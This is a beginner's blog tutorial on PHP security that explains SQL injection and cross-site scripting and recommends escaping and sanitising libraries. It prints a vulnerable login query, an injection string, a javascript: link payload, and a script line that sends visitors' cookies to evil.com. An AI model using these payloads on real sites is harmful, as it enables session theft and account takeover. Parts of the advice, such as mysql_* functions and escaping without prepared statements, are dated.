Getting started with security in PHP
This article aims to introduce you to security in PHP. During my daily Job I encounter small scripts and even full systems that have some form of security vulnerability. The main vulnerabilities I find are SQL injection and Cross Site Scripting.
SQL Injection
This vulnerability arises mainly due to the fact that input (data from outside of PHP) gets placed into an SQL string and executed without being filtered and/or validated properly. Data from outside PHP includes content from a database, user input from GET or POST , file contents etc. Consider the very common following example:
$result = mysql_query(“SELECT COUNT(*) FROM users WHERE username = ‘{$_POST[‘username’]}’ AND password = ‘’{$_POST[‘password’]}”);
What happens if user types the following into the username and password fields? Assuming that magic quotes are off:
‘ OR ‘’ = ‘
This would make the resulting SQL look like the following:
SELECT COUNT(*) FROM users WHERE username = ‘’ OR ‘’=’’ AND password = ‘’ OR ‘’ = ‘’
The where clause in this statement would always evaluate to true meaning you can now login as whoever you wish to.
Magic Quotes
PHP has this nice/annoying feature called magic quotes. This is an attempt to make PHP scripts more secure by automatically adding backslashes to any quotes on the super global arrays ($_POST, $_GET, etc.). However, this is not very robust as it only works with quotes. There are other special characters in SQL like “—“ (a comment) which can be used to run unwanted SQL statements.
For this reason you should not rely on Magic Quotes. If possible you should at bare minimum run everything through mysql_real_escape_string(). If magic quotes are turned on I will run the contents through stripslashes() first to remove the effect magic quotes has had allowing mysql_real_escape_string() to work on the originally input data.
XSS (Cross site scripting)
This vulnerability arises because content from input is being output to the browser without being escaped properly. If you have a simple commenting system in which users can type text and have it display on your blog consider what happens when a user enters the following comment:
<script>document.location = ‘http://evil.com/savecookies.php?cookies=’+document.cookie;</script>
If this is not filtered properly, then any user that visits the page with this comment will be automatically redirected to evil.com with their cookies for the site passed in the query string. If you are using cookies to store information such as a users session id (PHP’s default behaviour) the hacker owning http://evil.com now has the user’s session id and other cookies and could attempt to steal the account and do other damage.
It’s not trivial to solve
The simplest method of fixing Cross site scripting is simply not to allow any HTML, CSS or Javascript as input. For the case above, putting the input contents through strip_tags on submission, or htmlentities() on output will solve the problem. However, code, that doesn’t look like HTML can be injected in other places. Consider if you were outputting a web address a user input into a anchor tag href attribute. The user could input the following as the web address:
javascript:alert(1);
This would then be output to the browser as:
<a href=”javascript:alert(1);”>…</a>
Now if the user clicked the link, they would get a Javascript alert box. However the same code to steal cookies could be used here. Anywhere Javascript can be executed is a risk area and should be carefully thought about before outputting and proper escaping should take place. The following list illustrates just a few of the possible places an attack could occur:
- In css:
width:expression(—js here—); - In attributes
- Anywhere in HTML document
- Anywhere inside a HTML element
While XSS is specific to HTML. The same principle can be applied to other output formats such as JSON, which is used quite a lot when creating service APIs
Fixing XSS
So how can we fix it? Well there are two things you can do to fix the problem. The first is to validate all input and question whether any form of HTML, CSS or Javascript is really required as input. The other solution is to use a HTML sanitiser which will use a white list of safe html to clean any HTML input of attacks. A free PHP library for sanitizing HTML is HTML Purifier. This however does have a performance impact, but security should come as a priority over performance.
Other tips
A highly recommended book, and essentially a must-read for anyone writing php is Essential PHP Security. This is a relativly short book and is easy to read and will give you a solid foundation into the common security threats in PHP applications.
The book describes a philosophy of validate input, filter output. To help you achieve this goal and cut down on the laborious task of filtering and validating ever bit of data the Zend Framework has some very nice libraries for helping with this. Zend_Validate is very easy to use and covers most of the validation you would need to do. Zend_Filter provides a set of objects which will help with sanitizing input, making it safe to use within the scripts.
Comments
Commenting is not available in this section entry.